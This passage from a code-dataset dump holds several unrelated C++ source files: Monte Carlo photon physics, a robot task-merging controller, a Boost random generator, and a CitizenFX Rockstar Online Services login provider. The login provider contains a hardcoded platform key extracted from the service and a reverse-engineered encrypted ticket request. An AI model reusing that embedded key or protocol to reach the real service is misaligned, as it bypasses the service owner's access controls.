incoming_energy,\n\t\t\t\t\t const double scattering_angle_cosine,\n\t\t\t\t\t const double precision ) const;\n\n  //! Evaluate the integrated cross section (b/mu)\n  double evaluateSubshellIntegratedCrossSection( \n\t\t\t\t          const double incoming_energy,\n\t\t\t\t\t  const double scattering_angle_cosine,\n\t\t\t\t\t  const SubshellType subshell,\n\t\t\t\t\t  const double precision ) const;\n\n  //! Sample an outgoing energy from the distribution\n  void sample( const double incoming_energy,\n\t       const double scattering_angle_cosine,\n\t       double& outgoing_energy,\n\t       SubshellType& shell_of_interaction ) const;\n\n  //! Sample an outgoing energy and record the number of trials\n  void sampleAndRecordTrials( const double incoming_energy,\n\t\t\t      const double scattering_angle_cosine,\n\t\t\t      double& outgoing_energy,\n\t\t\t      SubshellType& shell_of_interaction,\n\t\t\t      unsigned& trials ) const;\n\nprivate:\n\n  // Sample the old subshell that is interacted with\n  void sampleOldInteractionSubshell( \n\t\t\t\t   unsigned& old_shell_of_interaction,\n\t\t\t\t   double& old_subshell_binding_energy ) const;\n\n  // The old subshell interaction probabilities\n  boost::scoped_ptr<const Utility::TabularOneDDistribution>\n  d_old_subshell_occupancy_distribution;\n\n  // The old subshell binding energies\n  Teuchos::Array<double> d_old_subshell_binding_energy;\n\n  // The old subshell occupandies\n  Teuchos::Array<double> d_old_subshell_occupancies;\n  \n  // Records if the Compton profiles are half (standard) or full\n  bool d_half_profiles;\n\n  // The electron momentum dist array\n  ElectronMomentumDistArray d_electron_momentum_distribution;\n};\n\n} // end MonteCarlo namespace\n\n#endif // end MONTE_CARLO_DECOUPLED_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_HPP\n\n//---------------------------------------------------------------------------//\n// end MonteCarlo_DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution.hpp\n//---------------------------------------------------------------------------//\n", "meta": {"hexsha": "4de6fd6f24162e6864920147e1d4fee8bc96d01c", "size": 4403, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "packages/monte_carlo/collision/native/src/MonteCarlo_DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution.hpp", "max_stars_repo_name": "lkersting/SCR-2123", "max_stars_repo_head_hexsha": "06ae3d92998664a520dc6a271809a5aeffe18f72", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "packages/monte_carlo/collision/native/src/MonteCarlo_DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution.hpp", "max_issues_repo_name": "lkersting/SCR-2123", "max_issues_repo_head_hexsha": "06ae3d92998664a520dc6a271809a5aeffe18f72", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "packages/monte_carlo/collision/native/src/MonteCarlo_DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution.hpp", "max_forks_repo_name": "lkersting/SCR-2123", "max_forks_repo_head_hexsha": "06ae3d92998664a520dc6a271809a5aeffe18f72", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.0, "max_line_length": 121, "alphanum_fraction": 0.7229161935, "num_tokens": 909, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.256832002764217, "lm_q1q2_score": 0.13242769562025888}}
{"text": "#include \"mwoibn/hierarchical_control/actions/merge.h\"\n#include <boost/dynamic_bitset.hpp>\n\n//\nmwoibn::hierarchical_control::actions::Merge::Merge(actions::Compute& main_task, actions::Compute& secondary_task,  hierarchical_control::State& state, mwoibn::Scalar eps, mwoibn::Scalar p, mwoibn::hierarchical_control::tasks::Constraints& constraints, mwoibn::robot_class::Robot& robot) : Primary(main_task.getTask(), _merge_memory), _secondary(secondary_task), _eps(eps), _primary(main_task), _snap(actions::Snap(state.P, state.command, _merge_memory)), _controller_state(state), _p(p){\n\n        if(_task.getTaskSize() != _secondary.getTask().getTaskSize())\n                throw(std::invalid_argument(\"Couldn't intialize Merge task, incompatibile tasks sizes.\"));\n\n        unsigned int size = _task.getTaskSize();\n\n        mwoibn::VectorBool id(size);\n        mwoibn::VectorN gain(size);\n        mwoibn::VectorN damping(size);\n\n        _support_tasks.assign(std::pow(2,size), tasks::BasicTask(size, _task.getTaskDofs()));\n        _support_actions.reserve(std::pow(2,size ));\n        for (int i = 0; i < std::pow(2,size ); i++) {\n                boost::dynamic_bitset<> b(size, i);\n                for(int j = 0; j < size; j++) {\n                        id[j] = b[j];\n                        gain[j] = id[j] ? _primary.gain()[j] : secondary_task.gain()[j];\n                        damping[j] = id[j] ? std::sqrt(_primary.damping(j)) : std::sqrt(secondary_task.damping(j));\n\n                }\n                _support_actions.insert(std::make_pair(id, actions::Compute(_support_tasks[i], gain, damping, _controller_state, _merge_memory)));\n        }\n\n        _front_tasks.assign(2, merge::Front(_merge_memory, _local_map, *this));\n        _end_tasks.assign(2, merge::End(_controller_state.P, _controller_state.command, _merge_memory, _local_map, *this, _controller_state.dt, _p, constraints, robot));\n        _replace_tasks.assign(std::pow(2, size+1), merge::Replace(_controller_state.P, _controller_state.command, _merge_memory, _local_map, *this, _controller_state.dt, _p));\n        _snaps.assign(std::pow(2, size+3), actions::Snap(_controller_state.P, _controller_state.command, _merge_memory));\n\n        _merge_memory.release(_front_tasks);\n        _merge_memory.release(_end_tasks);\n        _merge_memory.release(_replace_tasks);\n        _merge_memory.release(_snaps);\n\n        mwoibn::VectorBool ones;\n        ones.setConstant(_task.getTaskSize(), true);\n        merge::Front *ptr = _merge_memory.local_front.get();\n\n        ptr->assign(_support_actions.at(ones), nullptr);\n        _last = ptr;\n\n        _local_map[_support_actions.at(ones).getTask()] = ptr;\n        _running_id.setOnes(_task.getTaskSize());\n        _current_id.setOnes(_task.getTaskSize());\n\n\n        __error.setZero(_task.getTaskSize());\n        __jacobian.setZero(_task.getTaskSize(), _controller_state.dofs);\n}\n\n\nvoid mwoibn::hierarchical_control::actions::Merge::run(){\n        _snap.run();\n        _primary.run();\n        _check();\n\n        if (_local_map.size() != local_size){\n          std::cout << \"stack \" << _local_map.size() << std::endl;\n          for(auto& support : _support_actions){\n            if(_local_map.exist(support.second.getTask())) std::cout << support.first.transpose() << std::endl;\n            //break;\n          }\n\n\n          counter = 0;\n          local_size = _local_map.size();\n        }\n        counter++;\n\n//        if(counter < 10)\n//            std::cout << counter << \"\\t\" << _secondary.getTask().getError() << std::endl;\n\n//        std::cout << \"runnung \" << _running_id.transpose() << std::endl;\n\n//        if (_current_id.all() && &_last->action() == &_primary) return;\n        _snap.restore();\n        if (_current_id == _running_id ) {\n          _secondary.getTask().update();\n\n                _updateTasks();\n                //std::cout << \"STACK\" << std::endl;\n                _last->run();\n                //_last = _last->next();\n\n                //std::cout << _controller_state.command.head<12>().transpose() << std::endl;\n                return;\n        }\n\n\n        std::cout << _current_id.transpose() << \"\\t\" <<   _running_id.transpose() << std::endl;\n\n        _secondary.getTask().update();\n\n        for(int i = 0; i < _current_id.size(); i++){\n          if(_current_id[i] == 1 & _running_id[i] == 0) _reset(i);\n        }\n        _secondary.getTask().update();\n\n        _read();\n\n        actions::Task* action = &_support_actions.at(_current_id);\n        if(_local_map.exist(action->baseAction().getTask())) {\n                std::cout << \"swap\" << std::endl;\n                _local_map[action->baseAction().getTask()]->swap(_last->baseAction());\n        }\n        else{\n                //std::cout << \"add\" << std::endl;\n                merge::End* _end =  _merge_memory.local_end.get();\n                mwoibn::hierarchical_control::tasks::BasicTask& old = _last->baseAction().getTask();\n                _last->push(*_end);\n                _end->assign(*action, *_local_map[old]);\n                _last = _end;\n        }\n\n        _updateTasks();\n        _running_id.noalias() = _current_id;\n        //std::cout << \"STACK\" << std::endl;\n        _last->run();\n        //std::cout << _controller_state.command.head<12>().transpose() << std::endl;\n\n}\n\nvoid mwoibn::hierarchical_control::actions::Merge::_updateTasks(){\n\n        // simplest way for now\n        // iterate through all tasks and check if it is in the make_pair\n\n        for(auto& pair : _support_actions) {\n                if (!_local_map.exist(pair.second.baseAction().getTask())) continue;\n                for(int i = 0; i < pair.first.size(); i++) {\n                        __error[i] = pair.first[i] ? _primary.getTask().getError()[i] : _secondary.getTask().getError()[i];\n\n                        __jacobian.row(i) = pair.first[i] ? _primary.getTask().getJacobian().row(i) : _secondary.getTask().getJacobian().row(i);\n                }\n                pair.second.baseAction().getTask().updateError(__error);\n                pair.second.baseAction().getTask().updateJacobian(__jacobian);\n\n        }\n}\n\n\n\nvoid mwoibn::hierarchical_control::actions::Merge::_check(){\n//        std::cout << \"max coeffs\" << std::endl;\n        for(int i = 0; i < _task.getTaskSize(); i++) {\n                _current_id[i] = _primary.getJacobian().row(i).cwiseAbs().maxCoeff() > _eps;\n                //if(i == 0){\n                  std::cout << _primary.getJacobian().row(i).cwiseAbs().maxCoeff() << \"\\t\";\n                  //std::cout << _secondary.getTask().getReference()[i] << std::endl;\n                //}\n//                std::cout << _primary.getJacobian().row(i).cwiseAbs().transpose() << std::endl;\n }\n std::cout << std::endl;\n// std::cout << _current_id.transpose() << std::endl;\n}\n\nvoid mwoibn::hierarchical_control::actions::Merge::release(){\n\n}\n//\n// void mwoibn::hierarchical_control::actions::Merge::_add(){\n//         // _checkStack();\n// }\n", "meta": {"hexsha": "419812fb69d66e7f28497b4e9621af7c45de8fa1", "size": 6929, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "locomotion_framework/controllers/hierarchical_control/src/actions/merge.cpp", "max_stars_repo_name": "ADVRHumanoids/DrivingFramework", "max_stars_repo_head_hexsha": "34715c37bfe3c1f2bd92aeacecc12704a1a7820e", "max_stars_repo_licenses": ["Zlib"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-12-02T07:10:42.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-02T07:10:42.000Z", "max_issues_repo_path": "locomotion_framework/controllers/hierarchical_control/src/actions/merge.cpp", "max_issues_repo_name": "ADVRHumanoids/DrivingFramework", "max_issues_repo_head_hexsha": "34715c37bfe3c1f2bd92aeacecc12704a1a7820e", "max_issues_repo_licenses": ["Zlib"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "locomotion_framework/controllers/hierarchical_control/src/actions/merge.cpp", "max_forks_repo_name": "ADVRHumanoids/DrivingFramework", "max_forks_repo_head_hexsha": "34715c37bfe3c1f2bd92aeacecc12704a1a7820e", "max_forks_repo_licenses": ["Zlib"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2020-10-22T19:06:44.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-07T03:32:52.000Z", "avg_line_length": 41.244047619, "max_line_length": 488, "alphanum_fraction": 0.5846442488, "num_tokens": 1722, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.25683199138751883, "lm_q1q2_score": 0.13242768975420674}}
{"text": "#ifndef BOOST_UTILITY_DETAIL_MINSTD_RAND_HPP_INCLUDED\r\n#define BOOST_UTILITY_DETAIL_MINSTD_RAND_HPP_INCLUDED\r\n\r\n// Copyright 2017 Peter Dimov\r\n//\r\n// Distributed under the Boost Software License, Version 1.0.\r\n//\r\n// See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt\r\n//\r\n// An implementation of minstd_rand that does not require\r\n// the Random library\r\n\r\n#include <boost/cstdint.hpp>\r\n\r\nnamespace boost\r\n{\r\nnamespace detail\r\n{\r\n\r\nclass minstd_rand\r\n{\r\nprivate:\r\n\r\n    boost::uint_least32_t x_;\r\n\r\n    enum { a = 48271, m = 2147483647 };\r\n\r\npublic:\r\n\r\n    minstd_rand(): x_( 1 )\r\n    {\r\n    }\r\n\r\n    explicit minstd_rand( boost::uint_least32_t x ): x_( x % m )\r\n    {\r\n        if( x_ == 0 )\r\n        {\r\n            x_ = 1;\r\n        }\r\n    }\r\n\r\n    boost::uint_least32_t operator()()\r\n    {\r\n        boost::uint_least64_t y = x_;\r\n\r\n        y = ( a * y ) % m;\r\n\r\n        x_ = static_cast<boost::uint_least32_t>( y );\r\n\r\n        return x_;\r\n    }\r\n};\r\n\r\n} // namespace detail\r\n} // namespace boost\r\n\r\n#endif // #ifndef BOOST_UTILITY_DETAIL_MINSTD_RAND_HPP_INCLUDED\r\n", "meta": {"hexsha": "d91442ce23d3be55025f458c2f2cd268142d9c2c", "size": 1104, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "deps/boost/include/boost/utility/detail/minstd_rand.hpp", "max_stars_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_stars_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 995.0, "max_stars_repo_stars_event_min_datetime": "2018-06-22T10:39:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T01:22:14.000Z", "max_issues_repo_path": "deps/boost/include/boost/utility/detail/minstd_rand.hpp", "max_issues_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_issues_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 32.0, "max_issues_repo_issues_event_min_datetime": "2018-06-23T14:19:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-29T10:20:37.000Z", "max_forks_repo_path": "deps/boost/include/boost/utility/detail/minstd_rand.hpp", "max_forks_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_forks_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 172.0, "max_forks_repo_forks_event_min_datetime": "2018-06-22T11:12:00.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T07:44:33.000Z", "avg_line_length": 18.7118644068, "max_line_length": 65, "alphanum_fraction": 0.6086956522, "num_tokens": 286, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.546738151984614, "lm_q2_score": 0.24220562872535945, "lm_q1q2_score": 0.13242305784957456}}
{"text": "/*\r\n * This file is part of the CitizenFX project - http://citizen.re/\r\n *\r\n * See LICENSE and MENTIONS in the root of the source tree for information\r\n * regarding licensing.\r\n */\r\n\r\n#include \"StdInc.h\"\r\n#include \"ProfileManagerImpl.h\"\r\n#include \"HttpClient.h\"\r\n#include \"base64.h\"\r\n\r\n#include <botan/botan.h>\r\n#include <botan/hash.h>\r\n#include <botan/stream_cipher.h>\r\n#include <sstream>\r\n\r\n#include <boost/property_tree/ptree.hpp>\r\n#include <boost/property_tree/xml_parser.hpp>\r\n\r\n#define ROS_PLATFORM_KEY \"C4pWJwWIKGUxcHd69eGl2AOwH2zrmzZAoQeHfQFcMelybd32QFw9s10px6k0o75XZeB5YsI9Q9TdeuRgdbvKsxc=\"\r\n\r\nclass ROSCryptoState\r\n{\r\nprivate:\r\n\tBotan::StreamCipher* m_rc4;\r\n\r\n\tuint8_t m_rc4Key[32];\r\n\tuint8_t m_xorKey[16];\r\n\tuint8_t m_hashKey[16];\r\n\r\npublic:\r\n\tROSCryptoState();\r\n\r\n\tinline const uint8_t* GetXorKey()\r\n\t{\r\n\t\treturn m_xorKey;\r\n\t}\r\n\r\n\tinline const uint8_t* GetHashKey()\r\n\t{\r\n\t\treturn m_hashKey;\r\n\t}\r\n};\r\n\r\nclass ROSIdentityProvider : public ProfileIdentityProvider\r\n{\r\nprivate:\r\n\tconst wchar_t* GetROSVersionString();\r\n\r\n\tstd::string DecryptROSData(const char* data, size_t size);\r\n\r\n\tstd::string EncryptROSData(const std::string& input);\r\n\r\npublic:\r\n\tvirtual const char* GetIdentifierKey() override;\r\n\r\n\tvirtual bool RequiresCredentials() override;\r\n\r\n\tvirtual concurrency::task<ProfileIdentityResult> ProcessIdentity(fwRefContainer<Profile> profile, const std::map<std::string, std::string>& parameters) override;\r\n};\r\n\r\nconst char* ROSIdentityProvider::GetIdentifierKey()\r\n{\r\n\t// Rockstar Online Services.\r\n\treturn \"ros\";\r\n}\r\n\r\nbool ROSIdentityProvider::RequiresCredentials()\r\n{\r\n\treturn true;\r\n}\r\n\r\nconst wchar_t* ROSIdentityProvider::GetROSVersionString()\r\n{\r\n\tconst char* baseString = va(\"e=%d,t=%s,p=%s,v=%d\", 1, \"gta5\", \"pcros\", 11);\r\n\r\n\t// create the XOR'd buffer\r\n\tstd::vector<uint8_t> xorBuffer(strlen(baseString) + 4);\r\n\r\n\t// set the key for the XOR buffer\r\n\t*(uint32_t*)&xorBuffer[0] = 0xCDCDCDCD;\r\n\r\n\tfor (int i = 4; i < xorBuffer.size(); i++)\r\n\t{\r\n\t\txorBuffer[i] = baseString[i - 4] ^ 0xCD;\r\n\t}\r\n\r\n\t// base64 the string\r\n\tsize_t base64len;\r\n\tchar* base64str = base64_encode(&xorBuffer[0], xorBuffer.size(), &base64len);\r\n\r\n\t// create a wide string version\r\n\tstd::string str(base64str, base64len);\r\n\tstd::wstring wideStr(str.begin(), str.end());\r\n\r\n\tfree(base64str);\r\n\r\n\t// return va() version of the base64 string\r\n\treturn va(L\"ros %s\", wideStr.c_str());\r\n}\r\n\r\nconcurrency::task<ProfileIdentityResult> ROSIdentityProvider::ProcessIdentity(fwRefContainer<Profile> profile, const std::map<std::string, std::string>& parameters)\r\n{\r\n\t// task completion source\r\n\tconcurrency::task_completion_event<ProfileIdentityResult> resultEvent;\r\n\r\n\t// build a request for the parameters passed\r\n\r\n\t// get a HTTP client with the right user agent\r\n\tstd::shared_ptr<HttpClient> httpClient = std::make_shared<HttpClient>(GetROSVersionString());\r\n\r\n\t// get the id/password\r\n\tauto& usernameIt = parameters.find(\"username\");\r\n\tauto& passwordIt = parameters.find(\"password\");\r\n\r\n\tauto& username = usernameIt->second;\r\n\tauto& password = passwordIt->second;\r\n\r\n\tfwMap<fwString, fwString> postMap;\r\n\tpostMap[\"ticket\"]\t\t= \"\";\r\n\tpostMap[\"email\"]\t\t= (username.find('@') != std::string::npos) ? username : \"\";\r\n\tpostMap[\"nickname\"]\t\t= (username.find('@') == std::string::npos) ? username : \"\";\r\n\tpostMap[\"password\"]\t\t= password;\r\n\tpostMap[\"platformName\"] = \"pcros\";\r\n\r\n\t// encrypt the query string\r\n\tfwString queryString = EncryptROSData(httpClient->BuildPostString(postMap));\r\n\r\n\thttpClient->DoPostRequest(L\"ros.citizenfx.internal\", 80, L\"/gta5/11/gameservices/auth.asmx/CreateTicketSc3\", queryString, [=] (bool success, const char* data, size_t size)\r\n\t{\r\n\t\tstd::shared_ptr<HttpClient> httpClientRef = httpClient;\r\n\r\n\t\tif (!success)\r\n\t\t{\r\n\t\t\tresultEvent.set(ProfileIdentityResult(\"Error contacting Rockstar Online Services.\"));\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tstd::string returnedXml = DecryptROSData(data, size);\r\n\t\t\tstd::istringstream stream(returnedXml);\r\n\r\n\t\t\tboost::property_tree::ptree tree;\r\n\t\t\tboost::property_tree::read_xml(stream, tree);\r\n\r\n\t\t\tif (tree.get(\"Response.Status\", 0) == 0)\r\n\t\t\t{\r\n\t\t\t\tresultEvent.set(ProfileIdentityResult(va(\r\n\t\t\t\t\t\"Could not sign on to the Social Club. Error code: %s/%s\",\r\n\t\t\t\t\ttree.get<std::string>(\"Response.Error.<xmlattr>.Code\").c_str(),\r\n\t\t\t\t\ttree.get<std::string>(\"Response.Error.<xmlattr>.CodeEx\").c_str()\r\n\t\t\t\t)));\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tstd::string ticket = tree.get<std::string>(\"Response.Ticket\");\r\n\t\t\t\tstd::string nickname = tree.get<std::string>(\"Response.RockstarAccount.Nickname\");\r\n\t\t\t\tboost::optional<std::string> avatarUrl = tree.get_optional<std::string>(\"Response.RockstarAccount.AvatarUrl\");\r\n\t\t\t\tuint64_t rockstarId = tree.get<uint64_t>(\"Response.RockstarAccount.RockstarId\");\r\n\r\n\t\t\t\t// new ROS security requirements\r\n\t\t\t\tstd::string sessionKey = tree.get<std::string>(\"Response.SessionKey\");\r\n\t\t\t\tstd::string sessionTicket = tree.get<std::string>(\"Response.SessionTicket\");\r\n\r\n\t\t\t\tfwRefContainer<ProfileImpl> profileImpl(profile);\r\n\r\n\t\t\t\tif (avatarUrl)\r\n\t\t\t\t{\r\n\t\t\t\t\tstd::string avatarUrlEntry = avatarUrl.get();\r\n\r\n\t\t\t\t\tprofileImpl->SetTileURI(\"http://cdn.sc.rockstargames.com/images/avatars/128x128/\" + avatarUrlEntry.substr(avatarUrlEntry.find(std::string(\"avatars/\")) + 8));\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t// placeholder...\r\n\t\t\t\t\tprofileImpl->SetTileURI(\"data:image/png;base64,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